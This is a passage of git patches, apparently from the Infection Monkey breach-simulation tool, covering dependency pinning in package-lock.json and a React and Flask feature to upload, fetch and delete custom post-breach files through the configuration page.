"sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=", "dev": true, "requires": { - "extend-shallow": "^2.0.1", - "is-number": "^3.0.0", - "repeat-string": "^1.6.1", - "to-regex-range": "^2.1.0" + "extend-shallow": "2.0.1", + "is-number": "3.0.0", + "repeat-string": "1.6.1", + "to-regex-range": "2.1.1" }, "dependencies": { "extend-shallow": { @@ -17982,7 +17941,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "^0.1.0" + "is-extendable": "0.1.1" } } } @@ -18001,6 +17960,7 @@ "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-1.2.4.tgz", "integrity": "sha512-z8H8/diyk76B7q5wg+Ud0+CqzcAF3mBBI/bA5ne5zrRUUIvNkJY//D3BqyH571KuAC4Nr7Rw7CjWX4r0y9DvNg==", "dev": true, + "optional": true, "requires": { "nan": "2.11.1", "node-pre-gyp": "0.10.0" @@ -18029,21 +17989,19 @@ "dev": true, "optional": true, "requires": { - "delegates": "^1.0.0", - "readable-stream": "^2.0.6" + "delegates": "1.0.0", + "readable-stream": "2.3.6" } }, "balanced-match": { "version": "1.0.0", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "brace-expansion": { "version": "1.1.11", "bundled": true, "dev": true, - "optional": true, "requires": { "balanced-match": "1.0.0", "concat-map": "0.0.1" @@ -18063,8 +18021,7 @@ "concat-map": { "version": "0.0.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "console-control-strings": { "version": "1.1.0", @@ -18110,7 +18067,7 @@ "dev": true, "optional": true, "requires": { - "minipass": "^2.2.1" + "minipass": "2.2.4" } }, "fs.realpath": { @@ -18125,14 +18082,14 @@ "dev": true, "optional": true, "requires": { - "aproba": "^1.0.3", - "console-control-strings": "^1.0.0", - "has-unicode": "^2.0.0", - "object-assign": "^4.1.0", - "signal-exit": "^3.0.0", - "string-width": "^1.0.1", - "strip-ansi": "^3.0.1", - "wide-align": "^1.1.0" + "aproba": "1.2.0", + "console-control-strings": "1.1.0", + "has-unicode": "2.0.1", + "object-assign": "4.1.1", + "signal-exit": "3.0.2", + "string-width": "1.0.2", + "strip-ansi": "3.0.1", + "wide-align": "1.1.2" } }, "glob": { @@ -18141,12 +18098,12 @@ "dev": true, "optional": true, "requires": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" + "fs.realpath": "1.0.0", + "inflight": "1.0.6", + "inherits": "2.0.3", + "minimatch": "3.0.4", + "once": "1.4.0", + "path-is-absolute": "1.0.1" } }, "has-unicode": { @@ -18161,7 +18118,7 @@ "dev": true, "optional": true, "requires": { - "safer-buffer": "^2.1.0" + "safer-buffer": "2.1.2" } }, "ignore-walk": { @@ -18179,8 +18136,8 @@ "dev": true, "optional": true, "requires": { - "once": "^1.3.0", - "wrappy": "1" + "once": "1.4.0", + "wrappy": "1.0.2" } }, "inherits": { @@ -18199,7 +18156,7 @@ "bundled": true, "dev": true, "requires": { - "number-is-nan": "^1.0.0" + "number-is-nan": "1.0.1" } }, "isarray": { @@ -18212,7 +18169,6 @@ "version": "3.0.4", "bundled": true, "dev": true, - "optional": true, "requires": { "brace-expansion": "1.1.11" } @@ -18227,14 +18183,15 @@ "bundled": true, "dev": true, "requires": { - "safe-buffer": "^5.1.1", - "yallist": "^3.0.0" + "safe-buffer": "5.1.1", + "yallist": "3.0.2" } }, "minizlib": { "version": "1.1.0", "bundled": true, "dev": true, + "optional": true, "requires": { "minipass": "2.2.4" } @@ -18259,15 +18216,16 @@ "dev": true, "optional": true, "requires": { - "debug": "^2.1.2", - "iconv-lite": "^0.4.4", - "sax": "^1.2.4" + "debug": "2.6.9", + "iconv-lite": "0.4.21", + "sax": "1.2.4" } }, "node-pre-gyp": { "version": "0.10.0", "bundled": true, "dev": true, + "optional": true, "requires": { "detect-libc": "1.0.3", "mkdirp": "0.5.1", @@ -18287,8 +18245,8 @@ "dev": true, "optional": true, "requires": { - "abbrev": "1", - "osenv": "^0.1.4" + "abbrev": "1.1.1", + "osenv": "0.1.5" } }, "npm-bundled": { @@ -18303,8 +18261,8 @@ "dev": true, "optional": true, "requires": { - "ignore-walk": "^3.0.1", - "npm-bundled": "^1.0.1" + "ignore-walk": "3.0.1", + "npm-bundled": "1.0.3" } }, "npmlog": { @@ -18313,10 +18271,10 @@ "dev": true, "optional": true, "requires": { - "are-we-there-yet": "~1.1.2", - "console-control-strings": "~1.1.0", - "gauge": "~2.7.3", - "set-blocking": "~2.0.0" + "are-we-there-yet": "1.1.4", + "console-control-strings": "1.1.0", + "gauge": "2.7.4", + "set-blocking": "2.0.0" } }, "number-is-nan": { @@ -18335,7 +18293,7 @@ "bundled": true, "dev": true, "requires": { - "wrappy": "1" + "wrappy": "1.0.2" } }, "os-homedir": { @@ -18356,8 +18314,8 @@ "dev": true, "optional": true, "requires": { - "os-homedir": "^1.0.0", - "os-tmpdir": "^1.0.0" + "os-homedir": "1.0.2", + "os-tmpdir": "1.0.2" } }, "path-is-absolute": { @@ -18378,10 +18336,10 @@ "dev": true, "optional": true, "requires": { - "deep-extend": "^0.5.1", - "ini": "~1.3.0", - "minimist": "^1.2.0", - "strip-json-comments": "~2.0.1" + "deep-extend": "0.5.1", + "ini": "1.3.5", + "minimist": "1.2.0", + "strip-json-comments": "2.0.1" }, "dependencies": { "minimist": { @@ -18398,13 +18356,13 @@ "dev": true, "optional": true, "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" + "core-util-is": "1.0.2", + "inherits": "2.0.3", + "isarray": "1.0.0", + "process-nextick-args": "2.0.0", + "safe-buffer": "5.1.1", + "string_decoder": "1.1.1", + "util-deprecate": "1.0.2" } }, "rimraf": { @@ -18413,7 +18371,7 @@ "dev": true, "optional": true, "requires": { - "glob": "^7.0.5" + "glob": "7.1.2" } }, "safe-buffer": { @@ -18456,9 +18414,9 @@ "bundled": true, "dev": true, "requires": { - "code-point-at": "^1.0.0", - "is-fullwidth-code-point": "^1.0.0", - "strip-ansi": "^3.0.0" + "code-point-at": "1.1.0", + "is-fullwidth-code-point": "1.0.0", + "strip-ansi": "3.0.1" } }, "string_decoder": { @@ -18467,7 +18425,7 @@ "dev": true, "optional": true, "requires": { - "safe-buffer": "~5.1.0" + "safe-buffer": "5.1.1" } }, "strip-ansi": { @@ -18475,7 +18433,7 @@ "bundled": true, "dev": true, "requires": { - "ansi-regex": "^2.0.0" + "ansi-regex": "2.1.1" } }, "strip-json-comments": { @@ -18488,6 +18446,7 @@ "version": "4.4.1", "bundled": true, "dev": true, + "optional": true, "requires": { "chownr": "1.0.1", "fs-minipass": "1.2.5", @@ -18510,7 +18469,7 @@ "dev": true, "optional": true, "requires": { - "string-width": "^1.0.2" + "string-width": "1.0.2" } }, "wrappy": { @@ -18531,8 +18490,8 @@ "integrity": "sha1-nmr2KZ2NO9K9QEMIMr0RPfkGxa4=", "dev": true, "requires": { - "is-glob": "^3.1.0", - "path-dirname": "^1.0.0" + "is-glob": "3.1.0", + "path-dirname": "1.0.2" }, "dependencies": { "is-glob": { @@ -18541,7 +18500,7 @@ "integrity": "sha1-e6WuJCF4BKxwcHuWkiVnSGzD6Eo=", "dev": true, "requires": { - "is-extglob": "^2.1.0" + "is-extglob": "2.1.1" } } } @@ -18552,11 +18511,11 @@ "integrity": "sha1-9abXDoOV4hyFj7BInWTfAkJNUGw=", "dev": true, "requires": { - "array-union": "^1.0.1", - "glob": "^7.0.3", - "object-assign": "^4.0.1", - "pify": "^2.0.0", - "pinkie-promise": "^2.0.0" + "array-union": "1.0.2", + "glob": "7.1.3", + "object-assign": "4.1.1", + "pify": "2.3.0", + "pinkie-promise": "2.0.1" }, "dependencies": { "pify": { @@ -18585,7 +18544,7 @@ "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", "dev": true, "requires": { - "kind-of": "^6.0.0" + "kind-of": "6.0.2" } }, "is-data-descriptor": { @@ -18594,7 +18553,7 @@ "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", "dev": true, "requires": { - "kind-of": "^6.0.0" + "kind-of": "6.0.2" } }, "is-descriptor": { @@ -18603,9 +18562,9 @@ "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", "dev": true, "requires": { - "is-accessor-descriptor": "^1.0.0", - "is-data-descriptor": "^1.0.0", - "kind-of": "^6.0.2" + "is-accessor-descriptor": "1.0.0", + "is-data-descriptor": "1.0.0", + "kind-of": "6.0.2" } }, "is-extglob": { @@ -18620,7 +18579,7 @@ "integrity": "sha1-lSHHaEXMJhCoUgPd8ICpWML/q8A=", "dev": true, "requires": { - "is-extglob": "^2.1.1" + "is-extglob": "2.1.1" } }, "is-number": { @@ -18629,7 +18588,7 @@ "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", "dev": true, "requires": { - "kind-of": "^3.0.2" + "kind-of": "3.2.2" }, "dependencies": { "kind-of": { @@ -18638,7 +18597,7 @@ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, "requires": { - "is-buffer": "^1.1.5" + "is-buffer": "1.1.5" } } } @@ -18691,26 +18650,27 @@ "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==", "dev": true, "requires": { - "arr-diff": "^4.0.0", - "array-unique": "^0.3.2", - "braces": "^2.3.1", - "define-property": "^2.0.2", - "extend-shallow": "^3.0.2", - "extglob": "^2.0.4", - "fragment-cache": "^0.2.1", - "kind-of": "^6.0.2", - "nanomatch": "^1.2.9", - "object.pick": "^1.3.0", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.2" + "arr-diff": "4.0.0", + "array-unique": "0.3.2", + "braces": "2.3.2", + "define-property": "2.0.2", + "extend-shallow": "3.0.2", + "extglob": "2.0.4", + "fragment-cache": "0.2.1", + "kind-of": "6.0.2", + "nanomatch": "1.2.13", + "object.pick": "1.3.0", + "regex-not": "1.0.2", + "snapdragon": "0.8.2", + "to-regex": "3.0.2" } }, "nan": { "version": "2.11.1", "resolved": "https://registry.npmjs.org/nan/-/nan-2.11.1.tgz", "integrity": "sha512-iji6k87OSXa0CcrLl9z+ZiYSuR2o+c0bGuNmXdrhTQTakxytAFsC56SArGYoiHlJlFoHSnvmhpceZJaXkVuOtA==", - "dev": true + "dev": true, + "optional": true }, "os-locale": { "version": "3.0.1", diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json index cc1155ad3..a74064c54 100644 --- a/monkey/monkey_island/cc/ui/package.json +++ b/monkey/monkey_island/cc/ui/package.json @@ -68,6 +68,7 @@ "core-js": "^2.5.7", "downloadjs": "^1.4.7", "fetch": "^1.1.0", + "filepond": "^4.2.0", "js-file-download": "^0.4.4", "json-loader": "^0.5.7", "jwt-decode": "^2.2.0", @@ -83,6 +84,7 @@ "react-dimensions": "^1.3.0", "react-dom": "^16.5.2", "react-fa": "^5.0.0", + "react-filepond": "^7.0.1", "react-graph-vis": "^1.0.2", "react-json-tree": "^0.11.0", "react-jsonschema-form": "^1.0.5", diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index 078bfccd0..23efa5cd2 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -3,6 +3,8 @@ import Form from 'react-jsonschema-form'; import {Col, Nav, NavItem} from 'react-bootstrap'; import fileDownload from 'js-file-download'; import AuthComponent from '../AuthComponent'; +import { FilePond, registerPlugin } from 'react-filepond'; +import 'filepond/dist/filepond.min.css'; class ConfigurePageComponent extends AuthComponent { constructor(props) { @@ -59,16 +61,6 @@ class ConfigurePageComponent extends AuthComponent { }) .then(res => res.json()) .then(res => { - // Leave PBA files on external configuration - if ('linux_file' in this.state.configuration.monkey.behaviour.custom_post_breach){ - let linux_file = this.state.configuration.monkey.behaviour.custom_post_breach.linux_file; - res.configuration.monkey.behaviour.custom_post_breach.windows_file = linux_file; - } - if ('windows_file' in this.state.configuration.monkey.behaviour.custom_post_breach){ - let windows_file = this.state.configuration.monkey.behaviour.custom_post_breach.windows_file; - res.configuration.monkey.behaviour.custom_post_breach.linux_file = windows_file; - } - this.setState({ lastAction: 'saved', schema: res.schema, @@ -160,6 +152,15 @@ class ConfigurePageComponent extends AuthComponent { }); }; + PBAwindows = () => { + return () + }; + + PBAlinux = () => { + return () + }; + + render() { let displayedSchema = {}; const uiSchema = { @@ -168,8 +169,14 @@ class ConfigurePageComponent extends AuthComponent { linux: { "ui:widget": "textarea" }, + linux_file: { + "ui:widget": this.PBAlinux + }, windows: { "ui:widget": "textarea" + }, + windows_file: { + "ui:widget": this.PBAwindows } } } diff --git a/monkey/monkey_island/cc/ui/src/index.js b/monkey/monkey_island/cc/ui/src/index.js index 329e94dfe..3a701b52e 100644 --- a/monkey/monkey_island/cc/ui/src/index.js +++ b/monkey/monkey_island/cc/ui/src/index.js @@ -4,6 +4,8 @@ import ReactDOM from 'react-dom'; import 'babel-polyfill'; import App from './components/Main'; import Bootstrap from 'bootstrap/dist/css/bootstrap.css'; // eslint-disable-line no-unused-vars +import { FilePond, registerPlugin } from 'react-filepond'; +import 'filepond/dist/filepond.min.css'; // Render the main component into the dom ReactDOM.render(, document.getElementById('app')); From 7281f2284b9409296b96062ea2fcdd3f16ccade1 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 25 Feb 2019 19:18:10 +0200 Subject: [PATCH 09/19] Added deletion of files --- monkey/monkey_island/cc/app.py | 3 +- .../monkey_island/cc/resources/file_upload.py | 58 ++++++++++++++----- .../ui/src/components/pages/ConfigurePage.js | 3 + 3 files changed, 50 insertions(+), 14 deletions(-) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index fd95abc6b..863529ea0 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -119,7 +119,8 @@ def init_app(mongo_url): api.add_resource(Log, '/api/log', '/api/log/') api.add_resource(IslandLog, '/api/log/island/download', '/api/log/island/download/') api.add_resource(PBAFileDownload, '/api/pba/download/') - api.add_resource(FileUpload, '/api/fileUpload/') + api.add_resource(FileUpload, '/api/fileUpload/', + '/api/fileUpload/?load=') api.add_resource(RemoteRun, '/api/remote-monkey', '/api/remote-monkey/') return app diff --git a/monkey/monkey_island/cc/resources/file_upload.py b/monkey/monkey_island/cc/resources/file_upload.py index 7e53ab3be..d2b2f4d0e 100644 --- a/monkey/monkey_island/cc/resources/file_upload.py +++ b/monkey/monkey_island/cc/resources/file_upload.py @@ -1,9 +1,11 @@ import flask_restful -from flask import request, send_from_directory +from flask import request, send_from_directory, Response from cc.services.config import ConfigService import os from werkzeug.utils import secure_filename +import logging +LOG = logging.getLogger(__name__) UPLOADS_DIR = "./monkey_island/cc/userUploads" @@ -12,18 +14,48 @@ class FileUpload(flask_restful.Resource): def get(self, path): return send_from_directory(UPLOADS_DIR, path) + def get(self, file_type, file_name): + req_data = request.data + def post(self, file_type): + filename = '' if file_type == 'PBAlinux': - config = ConfigService.get_config() - file_info = ConfigService.get_config_value(['monkey', 'behaviour', 'custom_post_breach', 'linux_file_info']) - filename = secure_filename(request.files['filepond'].filename) - file_path = os.path.join(UPLOADS_DIR, filename) - request.files['filepond'].save(file_path) - file_size = os.path.getsize(file_path) - # config['monkey']['behaviour']['cutom_post_breach']['linux_file_info']['size'] = file_size - # config['monkey']['behaviour']['cutom_post_breach']['linux_file_info']['name'] = filename - # ConfigService.update_config(config, True) - - + filename = FileUpload.upload_pba_file(request) elif file_type == 'PBAwindows': - request.files['filepond'].save("./useless.file") + filename = FileUpload.upload_pba_file(request, False) + + response = Response( + response=filename, + status=200, mimetype='text/plain') + return response + + def delete(self, file_type): + config = ConfigService.get_config(should_decrypt=False) + if file_type == 'PBAlinux': + file_info = 'linux_file_info' + else: + file_info = 'windows_file_info' + filename = config['monkey']['behaviour']['custom_post_breach'][file_info]['name'] + file_path = os.path.join(UPLOADS_DIR, filename) + try: + if os.path.exists(file_path): + os.remove(file_path) + except OSError as e: + LOG.error("Can't remove previously uploaded post breach files: %s" % e) + return {} + + @staticmethod + def upload_pba_file(request_, is_linux=True): + config = ConfigService.get_config(should_decrypt=False) + filename = secure_filename(request_.files['filepond'].filename) + file_path = os.path.join(UPLOADS_DIR, filename) + request_.files['filepond'].save(file_path) + file_size = os.path.getsize(file_path) + if is_linux: + file_info = 'linux_file_info' + else: + file_info = 'windows_file_info' + config['monkey']['behaviour']['custom_post_breach'][file_info]['size'] = file_size + config['monkey']['behaviour']['custom_post_breach'][file_info]['name'] = filename + ConfigService.update_config(config, should_encrypt=False) + return filename diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index 23efa5cd2..5008ef1eb 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -153,6 +153,9 @@ class ConfigurePageComponent extends AuthComponent { }; PBAwindows = () => { + if (! this.state.configuration.monkey.behaviour.custom_post_breach.windows_file_info){ + + } return () }; From 33e78ba4e86993fd345db9529d3c168f9d07127b Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 26 Feb 2019 19:52:57 +0200 Subject: [PATCH 10/19] Implemented file restoration endpoint, file upload front end --- monkey/monkey_island/cc/app.py | 3 +- .../monkey_island/cc/resources/file_upload.py | 60 +++++++----- monkey/monkey_island/cc/services/config.py | 6 ++ .../cc/ui/src/components/Main.js | 14 ++- .../ui/src/components/pages/ConfigurePage.js | 94 +++++++++++++++++-- .../ui/src/components/pages/StartOverPage.js | 1 + monkey/monkey_island/cc/ui/src/styles/App.css | 12 +++ 7 files changed, 157 insertions(+), 33 deletions(-) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 863529ea0..91cf19b39 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -120,7 +120,8 @@ def init_app(mongo_url): api.add_resource(IslandLog, '/api/log/island/download', '/api/log/island/download/') api.add_resource(PBAFileDownload, '/api/pba/download/') api.add_resource(FileUpload, '/api/fileUpload/', - '/api/fileUpload/?load=') + '/api/fileUpload/?load=', + '/api/fileUpload/?restore=') api.add_resource(RemoteRun, '/api/remote-monkey', '/api/remote-monkey/') return app diff --git a/monkey/monkey_island/cc/resources/file_upload.py b/monkey/monkey_island/cc/resources/file_upload.py index d2b2f4d0e..f977b3e82 100644 --- a/monkey/monkey_island/cc/resources/file_upload.py +++ b/monkey/monkey_island/cc/resources/file_upload.py @@ -4,25 +4,35 @@ from cc.services.config import ConfigService import os from werkzeug.utils import secure_filename import logging +from cc.database import mongo +import copy LOG = logging.getLogger(__name__) UPLOADS_DIR = "./monkey_island/cc/userUploads" +GET_FILE_DIR = "./userUploads" +# What endpoints front end uses to identify which files to work with +LINUX_PBA_TYPE = 'PBAlinux' +WINDOWS_PBA_TYPE = 'PBAwindows' +# Where to find file info in config +PBA_CONF_PATH = ['monkey', 'behaviour', 'custom_post_breach'] +WINDOWS_PBA_INFO = copy.deepcopy(PBA_CONF_PATH) +WINDOWS_PBA_INFO.append('windows_file_info') +LINUX_PBA_INFO = copy.deepcopy(PBA_CONF_PATH) +LINUX_PBA_INFO.append('linux_file_info') class FileUpload(flask_restful.Resource): - # Used by monkey. can't secure. - def get(self, path): - return send_from_directory(UPLOADS_DIR, path) - def get(self, file_type, file_name): - req_data = request.data + def get(self, file_type): + # Verify that file_name is indeed a file from config + if file_type == LINUX_PBA_TYPE: + filename = ConfigService.get_config_value(copy.deepcopy(LINUX_PBA_INFO))['name'] + else: + filename = ConfigService.get_config_value(copy.deepcopy(WINDOWS_PBA_INFO))['name'] + return send_from_directory(GET_FILE_DIR, filename) def post(self, file_type): - filename = '' - if file_type == 'PBAlinux': - filename = FileUpload.upload_pba_file(request) - elif file_type == 'PBAwindows': - filename = FileUpload.upload_pba_file(request, False) + filename = FileUpload.upload_pba_file(request, (file_type == LINUX_PBA_TYPE)) response = Response( response=filename, @@ -30,32 +40,40 @@ class FileUpload(flask_restful.Resource): return response def delete(self, file_type): - config = ConfigService.get_config(should_decrypt=False) - if file_type == 'PBAlinux': - file_info = 'linux_file_info' - else: - file_info = 'windows_file_info' - filename = config['monkey']['behaviour']['custom_post_breach'][file_info]['name'] + file_conf_path = LINUX_PBA_INFO if file_type == 'PBAlinux' else WINDOWS_PBA_INFO + filename = ConfigService.get_config_value(file_conf_path)['name'] file_path = os.path.join(UPLOADS_DIR, filename) try: if os.path.exists(file_path): os.remove(file_path) + ConfigService.set_config_value(file_conf_path, {'size': '0', 'name': ''}) except OSError as e: LOG.error("Can't remove previously uploaded post breach files: %s" % e) + return {} @staticmethod def upload_pba_file(request_, is_linux=True): - config = ConfigService.get_config(should_decrypt=False) filename = secure_filename(request_.files['filepond'].filename) file_path = os.path.join(UPLOADS_DIR, filename) request_.files['filepond'].save(file_path) file_size = os.path.getsize(file_path) + ConfigService.set_config_value((LINUX_PBA_INFO if is_linux else WINDOWS_PBA_INFO), + {'size': file_size, 'name': filename}) + return filename + + @staticmethod + def get_file_info_db_paths(is_linux=True): + """ + Gets PBA file size and name parameter config paths for linux and windows + :param is_linux: determines whether to get windows or linux file params + :return: returns tuple of filename and file size paths in config + """ if is_linux: file_info = 'linux_file_info' else: file_info = 'windows_file_info' - config['monkey']['behaviour']['custom_post_breach'][file_info]['size'] = file_size - config['monkey']['behaviour']['custom_post_breach'][file_info]['name'] = filename - ConfigService.update_config(config, should_encrypt=False) - return filename + config_path = 'monkey.behaviour.custom_post_breach.' + file_info + '.' + size_path = config_path + 'size' + name_path = config_path + 'name' + return name_path, size_path diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index b65517de0..0dc59b588 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -85,6 +85,12 @@ class ConfigService: config = encryptor.dec(config) return config + @staticmethod + def set_config_value(config_key_as_arr, value): + mongo_key = ".".join(config_key_as_arr) + mongo.db.config.update({'name': 'newconfig'}, + {"$set": {mongo_key: value}}) + @staticmethod def get_flat_config(is_initial_config=False, should_decrypt=True): config_json = ConfigService.get_config(is_initial_config, should_decrypt) diff --git a/monkey/monkey_island/cc/ui/src/components/Main.js b/monkey/monkey_island/cc/ui/src/components/Main.js index 02cf9fdee..d0ae18143 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.js +++ b/monkey/monkey_island/cc/ui/src/components/Main.js @@ -78,6 +78,7 @@ class AppComponent extends AuthComponent { constructor(props) { super(props); this.state = { + removePBAfiles: false, completedSteps: { run_server: true, run_monkey: false, @@ -88,6 +89,11 @@ class AppComponent extends AuthComponent { }; } + // Sets the property that indicates if we need to remove PBA files from state or not + setRemovePBAfiles = (rmFiles) => { + this.setState({removePBAfiles: rmFiles}); + }; + componentDidMount() { this.updateStatus(); this.interval = setInterval(this.updateStatus, 5000); @@ -173,11 +179,15 @@ class AppComponent extends AuthComponent { ()}/> {this.renderRoute('/', , true)} - {this.renderRoute('/configure', )} + {this.renderRoute('/configure', )} {this.renderRoute('/run-monkey', )} {this.renderRoute('/infection/map', )} {this.renderRoute('/infection/telemetry', )} - {this.renderRoute('/start-over', )} + {this.renderRoute('/start-over', )} {this.renderRoute('/report', )} {this.renderRoute('/license', )} diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index 5008ef1eb..b74558990 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -3,7 +3,7 @@ import Form from 'react-jsonschema-form'; import {Col, Nav, NavItem} from 'react-bootstrap'; import fileDownload from 'js-file-download'; import AuthComponent from '../AuthComponent'; -import { FilePond, registerPlugin } from 'react-filepond'; +import { FilePond } from 'react-filepond'; import 'filepond/dist/filepond.min.css'; class ConfigurePageComponent extends AuthComponent { @@ -21,7 +21,9 @@ class ConfigurePageComponent extends AuthComponent { lastAction: 'none', sections: [], selectedSection: 'basic', - allMonkeysAreDead: true + allMonkeysAreDead: true, + PBAwinFile: [], + PBAlinuxFile: [] }; } @@ -95,6 +97,7 @@ class ConfigurePageComponent extends AuthComponent { }; resetConfig = () => { + this.removePBAfiles(); this.authFetch('/api/configuration/island', { method: 'POST', @@ -112,6 +115,16 @@ class ConfigurePageComponent extends AuthComponent { }); }; + removePBAfiles(){ + // We need to clean files from widget, local state and configuration (to sync with bac end) + if (this.hasOwnProperty('PBAlinuxPond')){ + this.PBAlinuxPond.removeFile(); + this.PBAwindowsPond.removeFile(); + } + this.setState({PBAlinuxFile: []}); + this.setState({PBAwinFile: []}); + } + onReadFile = (event) => { try { this.setState({ @@ -153,16 +166,75 @@ class ConfigurePageComponent extends AuthComponent { }; PBAwindows = () => { - if (! this.state.configuration.monkey.behaviour.custom_post_breach.windows_file_info){ - - } - return () + return ( { + this.setState({ + PBAwinFile: fileItems.map(fileItem => fileItem.file) + }) + }} + ref={ref => this.PBAwindowsPond = ref} + />) }; PBAlinux = () => { - return () + return ( { + this.setState({ + PBAlinuxFile: fileItems.map(fileItem => fileItem.file) + }) + }} + ref={ref => this.PBAlinuxPond = ref} + onload={this.props.setRemovePBAfiles(false)} + />) + }; + getWinPBAfile(){ + if (this.props.removePBAfiles){ + // If env was reset we need to remove files in react state + /*if (this.hasOwnProperty('PBAwinFile')){ + this.setState({PBAwinFile: ''}) + }*/ + } else if (this.state.PBAwinFile.length !== 0){ + console.log("Getting from local state") + return ConfigurePageComponent.getPBAfile(this.state.PBAwinFile[0], true) + } else { + console.log("Getting from config") + return ConfigurePageComponent.getPBAfile(this.state.configuration.monkey.behaviour.custom_post_breach.windows_file_info) + } + } + + getLinuxPBAfile(){ + if (this.props.removePBAfiles) { + // If env was reset we need to remove files in react state + /*if (this.hasOwnProperty('PBAlinuxFile')){ + this.setState({PBAlinuxFile: ''}) + }*/ + } else if (this.state.PBAlinuxFile.length !== 0){ + console.log("Getting from local state") + return ConfigurePageComponent.getPBAfile(this.state.PBAlinuxFile[0], true) + } else { + console.log("Getting from config") + return ConfigurePageComponent.getPBAfile(this.state.configuration.monkey.behaviour.custom_post_breach.linux_file_info) + } + } + + static getPBAfile(fileSrc, isMock=false){ + let PBAfile = [{ + source: fileSrc.name, + options: { + type: 'limbo' + } + }]; + if (isMock){ + PBAfile[0].options.file = fileSrc + } + return PBAfile + } render() { let displayedSchema = {}; @@ -180,6 +252,12 @@ class ConfigurePageComponent extends AuthComponent { }, windows_file: { "ui:widget": this.PBAwindows + }, + linux_file_info: { + classNames: "linux-pba-file-info" + }, + windows_file_info: { + classNames: "windows-pba-file-info" } } } @@ -188,7 +266,6 @@ class ConfigurePageComponent extends AuthComponent { displayedSchema = this.state.schema['properties'][this.state.selectedSection]; displayedSchema['definitions'] = this.state.schema['definitions']; } - return (

Monkey Configuration

@@ -276,7 +353,6 @@ class ConfigurePageComponent extends AuthComponent {
: ''} - ); } diff --git a/monkey/monkey_island/cc/ui/src/components/pages/StartOverPage.js b/monkey/monkey_island/cc/ui/src/components/pages/StartOverPage.js index c44a5a72f..eb4b5ae91 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/StartOverPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/StartOverPage.js @@ -108,6 +108,7 @@ class StartOverPageComponent extends AuthComponent { this.setState({ cleaned: true }); + this.props.setRemovePBAfiles(true) } }); } diff --git a/monkey/monkey_island/cc/ui/src/styles/App.css b/monkey/monkey_island/cc/ui/src/styles/App.css index 1b857a1ec..926052d7a 100644 --- a/monkey/monkey_island/cc/ui/src/styles/App.css +++ b/monkey/monkey_island/cc/ui/src/styles/App.css @@ -163,6 +163,18 @@ body { * Configuration Page */ +.linux-pba-file-info, .windows-pba-file-info { + display: none +} + +.filepond--root li { + overflow: visible; +} + +.filepond--root * { + font-size: 1.04em; +} + .rjsf .form-group .form-group { margin-left: 2em; } From 45be01047009d1a77e6154ac117522c4e3c3a88f Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 1 Mar 2019 17:57:11 +0200 Subject: [PATCH 11/19] Refactoring and improvements --- monkey/infection_monkey/example.conf | 8 +- .../post_breach/file_execution.py | 100 ++++++++++++++++- monkey/infection_monkey/post_breach/pba.py | 25 +++-- .../post_breach/post_breach_handler.py | 102 ++++++------------ .../monkey_island/cc/resources/file_upload.py | 8 +- .../monkey_island/cc/resources/telemetry.py | 2 +- monkey/monkey_island/cc/services/config.py | 21 ++++ monkey/monkey_island/cc/services/node.py | 2 +- monkey/monkey_island/cc/services/report.py | 2 +- .../cc/ui/src/components/Main.js | 8 +- 